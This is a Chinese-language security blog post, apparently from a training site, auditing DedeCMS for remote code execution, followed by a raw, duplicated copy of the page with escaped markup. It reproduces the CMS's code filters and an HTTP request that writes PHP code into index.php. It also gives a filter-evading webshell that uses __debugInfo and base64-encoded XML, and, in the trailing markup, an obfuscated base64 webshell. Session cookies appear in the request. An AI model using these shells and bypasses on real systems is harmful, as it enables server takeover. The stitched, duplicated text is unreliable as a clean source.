       if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE
       OR strpos($clean,'$s$s
)!== FALSE)
      {
           $fail = TRUE;
           if(preg_match("#^create table#i",$clean)) $fail = FALSE;
           $error="unusual character";
      }

       //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
       if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="union detect";
      }

       //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
       elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
      {
           $fail = TRUE;
           $error="comment detect";
      }

       //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
       elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="slown down detect";
      }
       elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="slown down detect";
      }
       elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="file fun detect";
      }
       elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="file fun detect";
      }

       //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
       elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="sub select detect";
      }
       if (!empty($fail))
      {
           fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
           exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
      }
       else
      {
           return $db_string;
      }
  }
}

案例 4

基于这个文件管理,我们还是在这个类,肯定还有编辑文件的说法

我们来到对应的路由去查看

果然找到了

//文件编辑

/*---------------
function __saveEdit();
----------------*/
else if($fmdo=="edit")
{
   csrf_check();
   $filename = str_replace("..", "", $filename);
   $file = "$cfg_basedir$activepath/$filename";
   $str = stripslashes($str);
   $fp = fopen($file, "w");
   fputs($fp, $str);
   fclose($fp);

   if ($fp === false) {
       ShowMsg("保存失败!请检查文件是否可写", -1);
       exit();
  }

   if(empty($backurl))
  {
       ShowMsg("成功保存一个文件!","file_manage_main.php?activepath=$activepath");
  }
   else
  {
       ShowMsg("成功保存文件!",$backurl);
  }
   exit();
}

一样的方法

文件名是 filename,内容是 str

我们访问对应的路由

发现是一个文件管理器,而且可以编辑文件,那不是随便 getshell 了吗

POST /dede/file_manage_control.php HTTP/1.1
Host: dedecms:5135
Content-Length: 130
Cache-Control: max-age=0
Origin: http://dedecms:5135
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://dedecms:5135/dede/file_manage_view.php?fmdo=edit&filename=index.php&activepath=
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: menuitems=1_1%2C2_1%2C3_1; XDEBUG_SESSION=PHPSTORM; isg=BC0t-H7JNkY1K9KqstDirHGTPMmnimFclPBmVm8zhEQz5k2YN9gMLle10DoA_XkU; tfstk=gsmxOxa7tQAceJrHmnTljVp-sV9kxcH2mjkCj5b_cbettXgmmxVDPgwgQZNblAM1BArb7qVgi5EtQXpktHxn3xra5BAHx21QgMEa1hq6ruMWmMYktHxnhxrafBAnm2uO4We_ftsb5LE7K7wfcfNbP_wLLlNs1fZ7FRwahta_5a98Q7N_flG_VxGw676bsG3Q_Hk4jTL1XGn8HrFtj7ITT0j3kWTuZGs6I-UvyxNRfGi-rNoxmSTFE5r0gcex_HS4cP3EIRhvDiGtL0l8FXtOxSMrK24qcFj3JoVYSmG96Nex-jhaGx1flJEYMyibz9IZePg-2omX_wkoeSaLq4YyiPqxM2PUlURr6YFm1mU5MQVi-YmbyXOl2fzt8A2tMnIjOgRKtXHxj6VLIZ9JeN7al8oiGzDb-Z64p8FHHhQN7zJzeWvRrN7arFe8tKpV7Nzrv; PHPSESSID=efqbsshdtt5v597qu9paat8s7a; _csrf_name_f9024a86=f709bfcd9cfdec39b55e236837689b25; _csrf_name_f9024a861BH21ANI1AGD297L1FF21LN02BGE1DNG=f4d72c693dc8f42f; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=cdad88453fa752a4; DedeLoginTime=1752071402; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=b21c89eb676161cd; ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php%3Fdopost%3Dfilemanager
Connection: keep-alive

fmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Asystem%28%27whoami%27%29%3B&B1=++%E4%BF%9D+%E5%AD%98++

但是发现

所以准备调试分析一手

$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);

global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';
foreach (explode(",", $cfg_disable_funs) as $value) {
   $value = str_replace(" ", "", $value);
   if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {
       $str = dede_htmlspecialchars($str);
       die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
  }
}

if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {
   if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) {
       $str = dede_htmlspecialchars($str);
       die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
  }
   if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) {
       $str = dede_htmlspecialchars($str);
       die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
  }
   if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) {
       $str = dede_htmlspecialchars($str);
       die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
  }
}

发现原因是因为有 waf

直接交给一个聪明朋友

移除多行注释

$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);

防止攻击者把危险代码写在注释中来绕过检测。

危险函数与变量过滤

$cfg_disable_funs = 'eval,assert,exec,...,$_GET,$_POST,...';

匹配并拦截使用了以下内容的代码:

系统函数:eval, exec, system, passthru, popen, assert, shell_exec 等

全局变量:`$GET, $POST, $REQUEST, $COOKIE, $_FILES, GLOBALS

动态函数调用:call_user_func, create_function, 等

一旦匹配:直接终止执行并提示危险代码。

PHP 标签与代码执行行为检测

001.png

感觉过滤还是挺严格的

绕过 waf 到 RCE

直接掏出上次的 webshell,稍微修改一下就 ok 了

<?php

class User {
   private $username;
   private $password;

   public function __construct($username, $password) {
       $this->username = $username;
       $this->password = $password;
  }

   public function __debugInfo() {
       $xmlData = base64_decode("PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+");
       $xmlElement = new SimpleXMLElement($xmlData);
       $namespaces = $xmlElement->getNamespaces(TRUE);
       $xmlElement->rewind();
       var_dump($xmlElement->key());
       $result = $xmlElement->xpath('/books/system');
       var_dump (($result[0]->__toString()));
      ($xmlElement->key())($result[0]->__toString());
       return [
           'username' => $this->username,
           'info' => '这是调试时返回的信息',
           'timestamp' => time()
      ];
  }
}

$user = new User('alice', 'secret123');
var_dump($user);

原理上次大概讲过了,就是自动触发

详情可以看到蚁景网络安全这个公众号

https://mp.weixin.qq.com/s/WDWBwPQuXroBRpBPxkHOcg

感谢给的平台

然后我们访问首页

成功弹出计算器

蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~

扫码咨询客服了解招生最新内容和活动

🎈网安学院推荐课程:Web安全工程师特训班Python全栈安全开发特训班应急响应安全工程师特训班
 CTF-Reverse实战技能特训班CTF-WEB实战技能特训班 CTF-PWN实战技能特训班CTF-MISC实战技能特训班 SRC漏洞挖掘实战班HVV大师课
)!== FALSE)\r\n       {\r\n            $fail = TRUE;\r\n            if(preg_match(\"#^create table#i\",$clean)) $fail = FALSE;\r\n            $error=\"unusual character\";\r\n       }\r\n \r\n        \u002F\u002F老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它\r\n        if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)\r\n       {\r\n            $fail = TRUE;\r\n            $error=\"union detect\";\r\n       }\r\n \r\n        \u002F\u002F发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们\r\n        elseif (strpos($clean, '\u002F*') \u003E 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)\r\n       {\r\n            $fail = TRUE;\r\n            $error=\"comment detect\";\r\n       }\r\n \r\n        \u002F\u002F这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库\r\n        elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)\r\n       {\r\n            $fail = TRUE;\r\n            $error=\"slown down detect\";\r\n       }\r\n        elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)\r\n       {\r\n            $fail = TRUE;\r\n            $error=\"slown down detect\";\r\n       }\r\n        elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)\r\n       {\r\n            $fail = TRUE;\r\n            $error=\"file fun detect\";\r\n       }\r\n        elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\\s+outfile($|[^[a-z])~s', $clean) != 0)\r\n       {\r\n            $fail = TRUE;\r\n            $error=\"file fun detect\";\r\n       }\r\n \r\n        \u002F\u002F老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息\r\n        elseif (preg_match('~\\([^)]*?select~s', $clean) != 0)\r\n       {\r\n            $fail = TRUE;\r\n            $error=\"sub select detect\";\r\n       }\r\n        if (!empty($fail))\r\n       {\r\n            fputs(fopen($log_file,'a+'),\"$userIP||$getUrl||$db_string||$error\\r\\n\");\r\n            exit(\"\u003Cfont size='5' color='red'\u003ESafe Alert: Request Error step 2!\u003C\u002Ffont\u003E\");\r\n       }\r\n        else\r\n       {\r\n            return $db_string;\r\n       }\r\n   }\r\n}\r\n\r\n案例 4\r\n\r\n基于这个文件管理,我们还是在这个类,肯定还有编辑文件的说法\r\n\r\n我们来到对应的路由去查看\r\n\r\n果然找到了\r\n\r\n\u002F\u002F文件编辑\r\n \r\n\u002F*---------------\r\nfunction __saveEdit();\r\n----------------*\u002F\r\nelse if($fmdo==\"edit\")\r\n{\r\n    csrf_check();\r\n    $filename = str_replace(\"..\", \"\", $filename);\r\n    $file = \"$cfg_basedir$activepath\u002F$filename\";\r\n    $str = stripslashes($str);\r\n    $fp = fopen($file, \"w\");\r\n    fputs($fp, $str);\r\n    fclose($fp);\r\n \r\n    if ($fp === false) {\r\n        ShowMsg(\"保存失败!请检查文件是否可写\", -1);\r\n        exit();\r\n   }\r\n \r\n    if(empty($backurl))\r\n   {\r\n        ShowMsg(\"成功保存一个文件!\",\"file_manage_main.php?activepath=$activepath\");\r\n   }\r\n    else\r\n   {\r\n        ShowMsg(\"成功保存文件!\",$backurl);\r\n   }\r\n    exit();\r\n}\r\n\r\n一样的方法\r\n\r\n文件名是 filename,内容是 str\r\n\r\n我们访问对应的路由\r\n\r\n发现是一个文件管理器,而且可以编辑文件,那不是随便 getshell 了吗\r\n\r\nPOST \u002Fdede\u002Ffile_manage_control.php HTTP\u002F1.1\r\nHost: dedecms:5135\r\nContent-Length: 130\r\nCache-Control: max-age=0\r\nOrigin: http:\u002F\u002Fdedecms:5135\r\nContent-Type: application\u002Fx-www-form-urlencoded\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F137.0.0.0 Safari\u002F537.36\r\nAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,image\u002Fapng,*\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3;q=0.7\r\nReferer: http:\u002F\u002Fdedecms:5135\u002Fdede\u002Ffile_manage_view.php?fmdo=edit&filename=index.php&activepath=\r\nAccept-Encoding: gzip, deflate, br\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: menuitems=1_1%2C2_1%2C3_1; XDEBUG_SESSION=PHPSTORM; isg=BC0t-H7JNkY1K9KqstDirHGTPMmnimFclPBmVm8zhEQz5k2YN9gMLle10DoA_XkU; tfstk=gsmxOxa7tQAceJrHmnTljVp-sV9kxcH2mjkCj5b_cbettXgmmxVDPgwgQZNblAM1BArb7qVgi5EtQXpktHxn3xra5BAHx21QgMEa1hq6ruMWmMYktHxnhxrafBAnm2uO4We_ftsb5LE7K7wfcfNbP_wLLlNs1fZ7FRwa\nConnection: keep-alive\r\n \r\nfmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Asystem%28%27whoami%27%29%3B&B1=++%E4%BF%9D+%E5%AD%98++\r\n\r\n但是发现\r\n\r\n所以准备调试分析一手\r\n\r\n$str = preg_replace(\"#(\u002F\\*)[\\s\\S]*(\\*\u002F)#i\", '', $str);\r\n \r\nglobal $cfg_disable_funs;\r\n$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';\r\n$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';\r\nforeach (explode(\",\", $cfg_disable_funs) as $value) {\r\n    $value = str_replace(\" \", \"\", $value);\r\n    if(!empty($value) && preg_match(\"#[^a-z]+['\\\"]*{$value}['\\\"]*[\\s]*[([{']#i\", \" {$str}\") == TRUE) {\r\n        $str = dede_htmlspecialchars($str);\r\n        die(\"DedeCMS提示:当前页面中存在恶意代码!\u003Cpre\u003E{$str}\u003C\u002Fpre\u003E\");\r\n   }\r\n}\r\n \r\nif(preg_match(\"#^[\\s\\S]+\u003C\\?(php|=)?[\\s]+#i\", \" {$str}\") == TRUE) {\r\n    if(preg_match(\"#[$][_0-9a-z]+[\\s]*[(][\\s\\S]*[)][\\s]*[;]#iU\", \" {$str}\") == TRUE) {\r\n        $str = dede_htmlspecialchars($str);\r\n        die(\"DedeCMS提示:当前页面中存在恶意代码!\u003Cpre\u003E{$str}\u003C\u002Fpre\u003E\");\r\n   }\r\n    if(preg_match(\"#[@][$][_0-9a-z]+[\\s]*[(][\\s\\S]*[)]#iU\", \" {$str}\") == TRUE) {\r\n        $str = dede_htmlspecialchars($str);\r\n        die(\"DedeCMS提示:当前页面中存在恶意代码!\u003Cpre\u003E{$str}\u003C\u002Fpre\u003E\");\r\n   }\r\n    if(preg_match(\"#[`][\\s\\S]*[`]#i\", \" {$str}\") == TRUE) {\r\n        $str = dede_htmlspecialchars($str);\r\n        die(\"DedeCMS提示:当前页面中存在恶意代码!\u003Cpre\u003E{$str}\u003C\u002Fpre\u003E\");\r\n   }\r\n}\r\n\r\n发现原因是因为有 waf\r\n\r\n直接交给一个聪明朋友\r\n\r\n移除多行注释\r\n\r\n$str = preg_replace(\"#(\u002F\\*)[\\s\\S]*(\\*\u002F)#i\", '', $str);\r\n\r\n防止攻击者把危险代码写在注释中来绕过检测。\r\n\r\n危险函数与变量过滤\r\n\r\n$cfg_disable_funs = 'eval,assert,exec,...,$_GET,$_POST,...';\r\n\r\n匹配并拦截使用了以下内容的代码:\r\n\r\n系统函数:eval, exec, system, passthru, popen, assert, shell_exec 等\r\n\r\n全局变量:`$GET, $POST, $REQUEST, $COOKIE, $_FILES, GLOBALS\r\n\r\n动态函数调用:call_user_func, create_function, 等\r\n\r\n一旦匹配:直接终止执行并提示危险代码。\r\n\r\nPHP 标签与代码执行行为检测\r\n\r\n\r\n感觉过滤还是挺严格的\r\n\r\n绕过 waf 到 RCE\r\n\r\n直接掏出上次的 webshell,稍微修改一下就 ok 了\r\n\r\n\u003C?php\r\n \r\nclass User {\r\n    private $username;\r\n    private $password;\r\n \r\n    public function __construct($username, $password) {\r\n        $this-\u003Eusername = $username;\r\n        $this-\u003Epassword = $password;\r\n   }\r\n \r\n    public function __debugInfo() {\r\n        $xmlData = base64_decode(\"PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+\");\r\n        $xmlElement = new SimpleXMLElement($xmlData);\r\n        $namespaces = $xmlElement-\u003EgetNamespaces(TRUE);\r\n        $xmlElement-\u003Erewind();\r\n        var_dump($xmlElement-\u003Ekey());\r\n        $result = $xmlElement-\u003Expath('\u002Fbooks\u002Fsystem');\r\n        var_dump (($result[0]-\u003E__toString()));\r\n       ($xmlElement-\u003Ekey())($result[0]-\u003E__toString());\r\n        return [\r\n            'username' =\u003E $this-\u003Eusername,\r\n            'info' =\u003E '这是调试时返回的信息',\r\n            'timestamp' =\u003E time()\r\n       ];\r\n   }\r\n}\r\n \r\n$user = new User('alice', 'secret123');\r\nvar_dump($user);\r\n \r\n\r\n原理上次大概讲过了,就是自动触发\r\n\r\n详情可以看到蚁景网络安全这个公众号\r\n\r\nhttps:\u002F\u002Fmp.weixin.qq.com\u002Fs\u002FWDWBwPQuXroBRpBPxkHOcg感谢给的平台\r\n\r\n然后我们访问首页\r\n\r\n成功弹出计算器",pic:"https:\u002F\u002Fwww.yijinglab.com\u002Fguide-img\u002Fd9634e2f-3b66-42e7-8279-c0877cdd70e5\u002Fc35cb1c5-7010-4ded-b45a-da17a7481af0.png",openTime:"2025-08-15T16:57:45+08:00",viewsNum:963,content:"\u003Ch2\u003E前言\u003C\u002Fh2\u003E\u003Cp\u003E书接上文,在上次意外搞出的免杀 webshell 条件下,最近又去审计了一个织梦 CMS\u003C\u002Fp\u003E\u003Cp\u003E官方网站 \u003Ca href=\"https:\u002F\u002Fwww.dedecms.com\u002F\" ref=\"nofollow\" target=\"_blank\" \u003Ehttps:\u002F\u002Fwww.dedecms.com\u002F\u003C\u002Fa\u003E\u003C\u002Fp\u003E\u003Cp\u003E最后成功利用免杀 webshell 实现了 RCE,下面是审计过程和审计思路\u003C\u002Fp\u003E\u003Ch2\u003E环境搭建\u003C\u002Fh2\u003E\u003Cp\u003E去官网下载源码,然后配合 phpstudy 搭建就 ok 了\u003C\u002Fp\u003E\u003Cp\u003E这个比较简单,注意根目录需要放 upload 目录\u003C\u002Fp\u003E\u003Cp\u003E注意默认的管理员目录是 dede,访问\u002Fdede\u002Flogin.php\u003C\u002Fp\u003E\u003Cp\u003E\u003Cimg referrerpolicy=\"no-referrer\" src=\"https:\u002F\u002Fwww.yijinglab.com\u002Fguide-img\u002Fd9634e2f-3b66-42e7-8279-c0877cdd70e5\u002Fc35cb1c5-7010-4ded-b45a-da17a7481af0.png\" width=\"720\" height=\"377.35714285714283\"\u003E\u003C\u002Fp\u003E\u003Cp\u003E默认账户密码adminadmin\u003C\u002Fp\u003E\u003Cp\u003E\u003Cimg referrerpolicy=\"no-referrer\" src=\"https:\u002F\u002Fwww.yijinglab.com\u002Fguide-img\u002Fd9634e2f-3b66-42e7-8279-c0877cdd70e5\u002Faddbac93-9c5e-4083-af61-45ad4b1443e1.png\" width=\"720\" height=\"333.64285714285717\"\u003E\u003C\u002Fp\u003E\u003Ch2\u003E代码审计\u003C\u002Fh2\u003E\u003Cp\u003E这里我只找 RCE 漏洞\u003C\u002Fp\u003E\u003Cp\u003E首先对于 php 的话,就是找 sink 点,或者在后台功能点去看,一般审计多了,看到功能点就大概能猜出有哪些漏洞\u003C\u002Fp\u003E\u003Cp\u003Esink 点的话可以使用一个工具\u003C\u002Fp\u003E\u003Cp\u003ESeay 源代码审计系统\u003C\u002Fp\u003E\u003Cp\u003E\u003Ca href=\"https:\u002F\u002Fgithub.com\u002Ff1tz\u002Fcnseay\" ref=\"nofollow\" target=\"_blank\" \u003Ehttps:\u002F\u002Fgithub.com\u002Ff1tz\u002Fcnseay\u003C\u002Fa\u003E\u003C\u002Fp\u003E\u003Cp\u003E虽然比较粗糙,误报很多,不过相比于语义分析的工具更能提升代码审计的技术\u003C\u002Fp\u003E\u003Cp\u003E我们直接把源码丢进去就可以了\u003C\u002Fp\u003E\u003Cp\u003E\u003Cimg referrerpolicy=\"no-referrer\" src=\"https:\u002F\u002Fwww.yijinglab.com\u002Fguide-img\u002Fd9634e2f-3b66-42e7-8279-c0877cdd70e5\u002F7d9ceea5-ae9a-491b-afff-28c10c0b40ca.png\" width=\"720\" height=\"379.2857142857143\"\u003E\u003C\u002Fp\u003E\u003Cp\u003E可以看到这个工具确实不太准确,因为 sink 点实在太多,不过熟练后,一眼就知道哪些不需要去管的\u003C\u002Fp\u003E\u003Cp\u003E然后这里我只关注能够 RCE 的漏洞\u003C\u002Fp\u003E\u003Cp\u003E找到之后没有什么技巧,就是回头看参数是否可以控制\u003C\u002Fp\u003E\u003Cp\u003E下面举个例子\u003C\u002Fp\u003E\u003Ch3\u003E案例 1\u003C\u002Fh3\u003E\u003Cp\u003E比如这句话,一眼就感觉有漏洞,我们就需要去详细查看一下\u003Cimg referrerpolicy=\"no-referrer\" src=\"https:\u002F\u002Fwww.yijinglab.com\u002Fguide-img\u002Fd9634e2f-3b66-42e7-8279-c0877cdd70e5\u002Fdd37eb80-e780-4587-b3ef-fb3d6d7aea04.png\" width=\"720\" height=\"266.14285714285717\"\u003E\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E<?\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ephp\u003C\u002Fspan\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F*<meta name=\"9Rrdzo\" content=\"a\">*\u002F\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$password\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'UaUahObGMzTnBiMjVmYzNSaGNuUW9LVHNLUUhObGRGOTBhVzFsWDJ4cGJXbDBLREFwT3dwQVpYSnliM0pmY21Wd2aIzSjBhVzVuS0RBcE93cG1kVzVqZEdsdmJpQmxibU52WkdVb0pFUXNKRXNwZXdvZ0lDQWdabTl5S0NScFBUQTdKR2s4YzNSeWJHVnVLQ1JFS1Rza2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSkdNZ1BTQWtTMXNrYVNzeEpqRTFYVHNLSUNBZ0lDQWdJQ0FrUkZza2FWMGdQU0FrUkZza2FWMWVKR003Q2lBZ0lDQjlDaUFnSUNCeVpYUjFjbaTRnSkVRN0NuMEtKSEJoYzNNOUoyRW5Pd29rY0dGNWJHOWhaRTVoYldVOUozQmhlV3h2WVdRbk93b2thMlY1UFNjd1kyTXhOelZpT1dNd1pqRmlObUU0SnpzS2FXWWdLR2x6YzJWMEtDUmZVRTlUVkZza2NHRnpjMTBwS1hzS0lDQWdJQ1JrWVhSaFBXVnVZMjlrWlNoaVlYTmxOalJmWkdWamIyUmxLQ1JmVUU5VFZGc2tjR0Z6YzEwcExDUnJaWGtwT3dvZ0lDQWdhV1lnS0dsemMyVjBLQ1JmVTBWVFUwbFBUbHNrY0dGNWJHOWhaRTVoYldWZEtTbDdDaUFnSUNBZ0lDQWdKSEJoZVd4dllXUTlaVzVqYjJSbEtDUmZVMFZUVTBsUFRsc2tjR0Y1Ykc5aFpFNWhiV1ZkTENSclpYa3BPd29nSUNBZ0lDQWdJR2xtSUNoemRISndiM01vSkhCaGVXeHZZV1FzSW1kbGRFSmhjMmxqYzBsdVptOGlLVDA5UFdaaGJITmxLWHNLSUNBZ0lDQWdJQ0FnSUNBZ0pIQmhlV3h2WVdROVpXNWpiMlJsS0NSd1lYbHNiMkZrTENSclpYa3BPd29nSUNBZ0lDQWdJSDBLQ1FsbGRtRnNLQ1J3WVhsc2IyRmtLVHNLSUNBZ0lDQWdJQ0JsWTJodklITjFZbk4wY2lodFpEVW9KSEJoYzNNdUpHdGxlU2tzTUN3eE5pazdDaUFnSUNBZ0lDQWdaV05vYnlCaVlYTmxOalJmWlc1amIyUmxLR1Z1WTI5a1pTaEFjblZ1S0NSa1lYUmhLU3drYTJWNUtTazdDaUFnSUNBZ0lDQWdaV05vYnlCemRXSnpkSElvYldRMUtDUndZWE56TGlSclpYa3BMREUyS1RzS0lDQWdJSDFsYkhObGV3b2dJQ0FnSUNBZ0lHbG1JQ2h6ZEhKd2IzTW9KR1JoZEdFc0ltZGxkRUpoYzJsamMwbHVabThpS1NFOVBXWmhiSE5sS1hzS0lDQWdJQ0FnSUNBZ0lDQWdKRjlUUlZOVFNVOU9XeVJ3WVhsc2IyRmtUbUZ0WlYwOVpXNWpiMlJsS0NSa1lYUmhMQ1JyWlhrcE93b2dJQ0FnSUNBZ0lIMEtJQ0FnSUgwS2ZRPT0='\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$username\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Eget_meta_tags\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003E__FILE__\u003C\u002Fspan\u003E)[\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$_GET\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'token'\u003C\u002Fspan\u003E]];\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Eheader\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"ddddddd:\"\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$username\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$arr\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Eapache_response_headers\u003C\u002Fspan\u003E();\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$template_source\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 